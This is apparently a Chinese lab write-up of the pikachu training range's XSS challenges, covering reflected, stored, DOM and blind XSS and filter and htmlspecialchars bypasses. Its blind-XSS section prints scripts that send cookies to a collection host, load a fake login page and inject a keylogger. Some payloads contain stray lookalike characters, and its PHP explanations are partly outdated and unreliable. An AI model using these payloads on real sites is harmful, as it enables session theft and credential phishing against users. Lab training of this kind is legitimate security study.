pikachu - Cross-Site Scripting(XSS)
pikachu - Cross-Site Scripting(XSS)
声明!
笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负!!!!
题记
XSS(跨站脚本)概述Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射型XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。
反射型xss(get)

我们输入123,并查看一下源代码,可以看到123已经在前端页面出现了。
那么我们输入一下123<script>看看会出现什么

可以看到,123<script>在前端中显示为“who is 123”,后边的“i don’t care!”则消失了。这说明<script>标签已经被执行了,那么我们可以直接构造XSS注入
<script>alert (1)</script>
但是这时候我们发现一件事情,那就是输入框有字符限制,导致无法构造完整的XSS注入代码。
但是由于这种字符字数限制,一般都是由前端进行验证,所以我们可以通过打开开发者工具修改前端源代码来解除一下字符输入的限制。


这时候再输入之前构造的XSS注入代码就能成功注入了,但是需要注意的是,由于前端代码修改只是临时性的,所以每次刷新,都需要重新修改字符限制,才能输入完整的XSS注入代码。
反射性xss(post)

在第二个模式,以POST方式提交中,发现输入XSS注入代码并没有效果,那就需要考虑一下,这是个登录框,是否成功登录之后还有新的页面?这里用了上一篇文章 pikachu - 暴力破解 爆破出来的账号密码来登录,发现三个账号都可以,这里我们使用 admin/123456 来登录。

登录之后,我们随便输入然后提交,再抓个包

能够看到,这是一个POST包,那对于注入来说,它与GET包会有不同吗?并不会,我们输入构造好的XSS注入代码
<script>alert (1)</script>

可以看到,依然是能注入成功的。
存储型xss

存储型与反射型最大的区别在于反射型是无法存储,只能通过诱骗点击链接来进行触发,而存储型则是永久存储,被写入数据库的,只要用户浏览到被写入XSS注入的代码,XSS注入就会生效。而XSS注入可以隐藏在一段文字中,也可以隐藏在图片中,它的触发方式也很多,可以通过鼠标点击甚至是鼠标有经过就能触发。
这里我们构造一个鼠标点击就会生效的XSS注入,可以发现不管刷新多少次,这个注入都存在。
<img src=1 οnclick=alert('xss')>

DOM型xss
DOM型XSS(跨站脚本攻击)是基于文档对象模型(Document Object Model,简称DOM)的一种漏洞。DOM是HTML文档的对象表示,它允许程序和脚本动态访问和更新文档的内容、结构和样式。DOM型XSS的特点是攻击者通过修改页面的DOM节点来注入恶意脚本,整个过程在客户端完成,不需要与服务器进行交互。
与传统的反射型和存储型XSS不同,DOM型XSS的攻击脚本不会被发送到服务器,而是在浏览器中通过JavaScript操作DOM时执行。这种攻击方式使得DOM型XSS难以被传统的Web应用防火墙(WAF)检测到。
我们正常输入一个字符串,然后用F12检查一下源代码

可以发现,这是一个超链接的标签,我们输入作为引用对象。
那么我们可以闭合引用,然后通过 onclick 属性来构造XSS注入,使用双引号"和单引号’测试,发现单引号可以进行闭合。
' οnclick="alert ('xss')"

DOM型xss-x
DOM-XSS-X 是一种特殊的跨站脚本攻击(XSS)类型,它结合了反射型XSS和DOM型XSS的特点。具体来说,DOM-XSS-X 通常涉及到从浏览器的URL中获取输入数据,然后通过JavaScript操作DOM来执行恶意脚本。这种攻击方式类似于反射型XSS,因为它通过URL参数传递恶意代码,但与反射型XSS不同的是,DOM-XSS-X 的执行过程完全在客户端进行,不需要服务器的参与。
在DOM-XSS-X 中,攻击者构造一个包含恶意脚本的URL,用户访问该URL时,JavaScript代码会从URL中提取参数,并将其插入到DOM中执行。由于整个过程不涉及服务器,因此这种攻击方式难以被传统的Web应用防火墙(WAF)检测到。
我们同样输入123然后按F12检查源代码,发现一开始会弹出“有些费尽心机想要忘记的事情,后来真的就忘掉了”的超链接,点击后生成新的超链接“就让往事都随风,都随风吧”,而这个超链接所引用的对象便是我们的输入。

那我们就可以按照之前的方法来进行,依然构造XSS注入
' οnclick="alert ('xss')"

xss盲打

什么叫盲打?顾名思义,就是在不知道是否能有返回结果的情况下,去进行注入。
我们测试一下,这里是否能进行注入。
<img src=1 onclick="alert ('1')">

然后我们再进入管理后台查看一下,后台地址是 IP:Port/vul/xss/xssblind/admin.php,账号/密码是admin/123456

说明xss注入被执行了,但是如果不登录管理后台的话,我们没有回显,也不清楚到底注入没,只是发个弹窗注入,貌似也起不了多大作用?
我们把页面往下拉,可以发现一个XSS后台

它具有三大模块,也是我们在模拟攻击中常用的手段cookie搜集、钓鱼结果、键盘记录

我们先进入cookie搜集模块,记下链接。当然,一开始是不知道?cookie作为传值,但是在目录文件中\pikachu\pkxss\xcookie\cookie.php可以看到

然后构造一个XSS注入代码
<script>document.location = 'http://192.168.42.142/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
接着我们回到XSS盲打模块

点击提交后,我们去管理后台刷新一下网页,然后再回到获取cookie结果模块,可以发现,cookie已被成功接收

我们接着来测试一下钓鱼模块

同样的,这里我们直接构造一个利用代码就行
<script src="http://192.168.42.142/pkxss/xfish/fish.php"></script>
但是这里我们需要去文件\pikachu\pkxss\xfish\fish.php修改一下,将IP改为我们自己的IP

我们把它用留言板提交,看看管理后台出现了什么

可以看到有一个登录框,我们输入admin/admin看看

可以看到,我们的输入已被抓取
接着测试一下获取键盘记录结果
同样的,我们先去\pikachu\pkxss\rkeypress\rk.js文件里改一下配置

然后构造XSS注入代码
<script src="http://192.168.42.142/pkxss/rkeypress/rk.js">123</script>

接着我们再管理后台随便输入一些字符串,再切回pikachu Xss 获取键盘记录结果的网页

可以看到,键盘的输入已经被抓取成功了
xss之过滤

我们先正常构造一个XSS注入代码,看看会显示什么

可以看到,'>'被过滤了,那么我们怎么绕过?
这时候就要说一下HTML和JavaScript的解析机制了。当浏览器解析HTML时,它会尝试将输入的文本视为有效的HTML代码,即使这些代码没有明确的闭合标签。
例如,如果你在HTML中输入<div>Hello</div>,浏览器会自动闭合这个
</div>。这种机制被称为HTML的自我闭合特性。
所以我们构造一个没有’>'的XSS注入代码,便可以完美绕过
<img src=1 οnclick="alert ('1')"

xss之htmlspecialchars
在进行XSS注入代码的构造前,我们应该先了解一下htmlspecialchars()函数是什么。
htmlspecialchars() 是一个 PHP 函数,用于将字符串中的特殊字符转换为 HTML 实体。这样可以防止用户输入的文本被浏览器解释为 HTML 或 JavaScript 代码,从而防止跨站脚本攻击(XSS)。
参数
-
string:必需。要转换的字符串。
-
flags:可选。指定要转换哪些特殊字符。常用的值有:
-
ENT_COMPAT:默认值。转换双引号为",不转换单引号。 -
ENT_QUOTES:转换双引号和单引号。 -
ENT_NOQUOTES:不转换任何引号.
-
-
encoding:可选。指定字符集,默认为
UTF-8。 -
double_encode:可选。如果设置为
true,则已转换的 HTML 实体将被再次转换。默认为true。
默认要求
- flags:默认为
ENT_COMPAT,即只转换双引号,不转换单引号。 - encoding:默认为
UTF-8。 - double_encode:默认为
true,即已转换的 HTML 实体将被再次转换。
所以现在我们可以清楚的知道,htmlspecialchars()函数会对输入的字符串中的特殊字符转换为HTML实体,但是它默认只转换双引号,不转换单引号,这就给了我们绕过的可能,我们构造一下只有单引号的XSS注入代码。
<img src=1 onclick='alert (1)'>

我们发现,我们的输入包含在超链接标签里,那么我们首先闭合标签,再重新构造一下
' οnclick='alert (1)'

xss之href输出

可以看到,我们的输入的特殊符号都被当做超链接的对象,没法进行闭合,那么我们该怎么绕过?这里提一下JavaScript历史遗留的特性。
在早期的 Web 技术中,JavaScript 的使用并不像现在这样普遍和强大。将 JavaScript 代码直接嵌入到 HTML 属性中(如 href)提供了一种简单的方式来实现一些基本的交互功能,而无需编写复杂的脚本或事件处理程序。
这种方法允许开发者在不使用 onclick 事件的情况下,通过点击链接来触发 JavaScript 代码的执行。javascript协议被引入作为一种允许在 URL 中嵌入 JavaScript 代码的方式。虽然它最初是为了解决一些特定的用例,但随着时间的推移,它被广泛用于各种场景,包括在 href 中使用。
那么在这里,我们就可以通过JavaScript特性来进行绕过
javascript:alert('1')

xss之js输出

尝试输入的字符串都被过滤了,只留下了这么一句话,那么我们该如何绕过?观察一下,在红框位置,是使用双引号进行闭合的,那么我们是否可以通过双引号来进行闭合?我们试一下。
"<script>alert (1)</script>

很尴尬,输入被吃了。这时候我们脑筋转一下,会不会是因为<script>没有闭合的原因?导致输入不被执行。我们闭合一下</script>
"</script><script>alert (1)</script>

成功弹出
相关文章:
pikachu - Cross-Site Scripting(XSS)
pikachu - Cross-Site Scripting(XSS) 声明! 笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负&#x…...
操作系统之文件系统的基本概念
目录 用户和磁盘视角的文件 文件控制块(FCB)和索引结点(inode) 文件的操作 创建文件(create系统调用) 写文件(write系统调用) 读文件(read系统调用) 重…...
深入探讨 Android 中的 AlarmManager:定时任务调度及优化实践
引言 在 Android 开发中,AlarmManager 是一个非常重要的系统服务,用于设置定时任务或者周期性任务。无论是设置一个闹钟,还是定时进行数据同步,AlarmManager 都是不可或缺的工具之一。然而,随着 Android 系统的不断演…...
西电-算法分析-研究生课程复习笔记
24年秋的应该是张老师最后一次用卷面考试,他说以后这节课的期末考试都是在OJ上刷题了张老师上课还挺有意思的,上完之后能学会独立地思考算法设计问题了。整节课都在强调规模压缩这个概念,考试也是考个人对这些的理解,还挺好玩的哈…...
编译时找不到需要的库,如何在PyCharm中为你的项目添加需要的库
丰富的库支持是 Python 语言的一大特点,但是在使用 PyCharm 进行Python 代码编译的时候,遇到一些需要使用到的库提示不能解析时,该如何添加呢? 比如下图所示的代码,可以看到需要使用 selenium、b4、jieba 这些库&…...
ip addr 命令给Linux网络接口配置多个IP地址值
问一下Chatgpt 怎么使用ip addr 命令给Linux网络接口配置多个IP地址值 根据Chatgpt的提示执行了命令,命令执行成功,看下执行结果。 ifconfig 命令查看接口IP地址 ip addr show 命令查看接口IP地址...
C#语言的数据库编程
C#语言的数据库编程 在现代软件开发中,数据库是不可或缺的一部分。无论是企业级应用还是个人项目,数据的存储与管理都是程序的核心功能之一。C#作为一种强类型、面向对象的编程语言,广泛应用于Windows平台的开发,尤其是在构建与数…...
时频分析之S变换
S变换的提出 1996年,由R.G Stockwell 提出了S变换,和其他时频分析工具一样,通过S变换,我们可以同时从时域以及频域观察一个信号的能量分布。S变换融合了短时傅里叶变换和小波变换的优点。关于S变换,最早发表于TSP上的…...
第二十八周学习周报
目录 摘要Abstract1 GFPGAN1.1 总体结构1.2 实验研究1.3 代码分析 总结 摘要 本周主要的学习内容是GFPGAN模型。GFPGAN是一种基于生成对抗网络(GAN)的模型,其利用封装在预训练的人脸GAN中的丰富多样的先验进行人脸图像的修复。这种生成面部先验(GFP&…...
SurfaceFlinger MessageQueue原理
SurfaceFlinger MessageQueue 有2个作用: 处理SurfaceFlinger INVALIDATE、REFRESH事件管理SurfaceFlinger主线程挂起和恢复 SurfaceFlinger::run() { while (true) { mEventQueue->waitMessage(); } } waitMessage {do {IPCThreadState::self()->flushComm…...
component-动态控制 div width 的值 根据传入的变量决定width的值 vue
1.实现 根据参数的值,div显示不同的长度 <div class"node-line" :style"lineProgress"></div> <script>export default {name: "trainSummaryInfo",data(){return{linePercentage:200,}},computed:{lineProgress…...
C#中的常用集合
目录 一、动态数组ArrayList 二、List 三、栈(Stack) 四、队列(Queue) 五、字典(Dictionary),int> 一、动态数组ArrayList ArrayList 是 C# 中提供的一种动态数组类,位于命名空间 Syste…...
插入实体自增主键太长,mybatis-plaus自增主键
1、问题 spring-boot整合mybtais执行insert语句时,主键id为长文本数据。 2、分析问题 1)数据库主键是否自增 2)数据库主键的种子值设置的多少 3、解决问题 1)数据库主键设置的时自增 3)种子值是1 所以排查是数据库的问题 4、继…...
晨辉面试抽签和评分管理系统之一:考生信息管理和编排
晨辉面试抽签和评分管理系统(下载地址:www.chenhuisoft.cn)是公务员招录面试、教师资格考试面试、企业招录面试等各类面试通用的考生编排、考生入场抽签、候考室倒计时管理、面试考官抽签、面试评分记录和成绩核算的面试全流程信息化管理软件。提供了考生…...
【MySQL】MVCC详解, 图文并茂简单易懂
欢迎来到啊妮莫的学习小屋 祝读本文的朋友都天天开心呀 目录 MVCC简介快照读与当前读快照读当前读 隔离级别隐藏字段和Undo Log版本链✨MVCC原理--ReadView✨ReadView简介设计思路适用隔离级别重要内容 ReadView规则MVCC整体流程 不同隔离级别下的MVCC读已提交可重复读 总结 M…...
中国数字化发展的问题与机会
橙蜂智能公司致力于提供先进的人工智能和物联网解决方案,帮助企业优化运营并实现技术潜能。公司主要服务包括AI数字人、AI翻译、埃域知识库、大模型服务等。其核心价值观为创新、客户至上、质量、合作和可持续发展。 橙蜂智农的智慧农业产品涵盖了多方面的功能,如智能化推荐、…...
【ROS2】☆ launch之Python
☆重点 ROS1和ROS2其中一个很大区别之一就是launch的编写方式。在ROS1中采用xml格式编写launch,而ROS2保留了XML 格式launch,还另外引入了Python和YAML 编写方式。选择哪种编写取决于每位开发人员的爱好,但是ROS2官方推荐使用Python方式编写…...
如何稳定使用 O1 / O1 Pro,让“降智”现象不再困扰?
近期,不少朋友在使用 O1 或 O1 Pro 模型时,都会碰到“降智”或“忽高忽低”的智力波动,比如无法识图、无法生成图片、甚至回答准确度也不稳定。面对这些问题,你是不是也感到头疼呢? 为了找到更可靠的解决办法…...
zookeeper监听机制(Watcher机制)
文章目录 引言I zookeeper监听机制Watcher机制实现分布式的通知功能触发事件种类Watcher的三个过程II watch机制特点一次性触发事件封装event异步发送先注册再触发常见的通知状态和事件类型III 应用案例(Kafka)Kafka的消息模型Kafka在Zookeeper中保存的元数据Kafka 基于Contr…...
docker 启动 nacos 单机模式
docker 启动 nacos 单机模式 # 拉取镜像# 启动,如果不拉镜像会自动拉取最新的 image docker run --name standalong_nacos -p 8848:8848 -p 9848:9848 -p 9849:9849 -e MODEstandalone -d nacos/nacos-server# 状态查看外部访问验证 输入部署的 docker ip 地址以及…...
Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...
iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui(适配 Vue2 版本 )实现截图中照片上传预览、删除功能,并封装成可复用组件的完整代码,包含样式和逻辑实现,可直接在 Vue2 项目中使用: 1. 封装的图片上传组件 ImageUploader.vue <te…...
【分享】推荐一些办公小工具
1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由:大部分的转换软件需要收费,要么功能不齐全,而开会员又用不了几次浪费钱,借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...
MFC 抛体运动模拟:常见问题解决与界面美化
在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
【 java 虚拟机知识 第一篇 】
目录 1.内存模型 1.1.JVM内存模型的介绍 1.2.堆和栈的区别 1.3.栈的存储细节 1.4.堆的部分 1.5.程序计数器的作用 1.6.方法区的内容 1.7.字符串池 1.8.引用类型 1.9.内存泄漏与内存溢出 1.10.会出现内存溢出的结构 1.内存模型 1.1.JVM内存模型的介绍 内存模型主要分…...
深度解析云存储:概念、架构与应用实践
在数据爆炸式增长的时代,传统本地存储因容量限制、管理复杂等问题,已难以满足企业和个人的需求。云存储凭借灵活扩展、便捷访问等特性,成为数据存储领域的主流解决方案。从个人照片备份到企业核心数据管理,云存储正重塑数据存储与…...
数据可视化交互
目录 【实验目的】 【实验原理】 【实验环境】 【实验步骤】 一、安装 pyecharts 二、下载数据 三、实验任务 实验 1:AQI 横向对比条形图 代码说明: 运行结果: 实验 2:AQI 等级分布饼图 实验 3:多城市 AQI…...
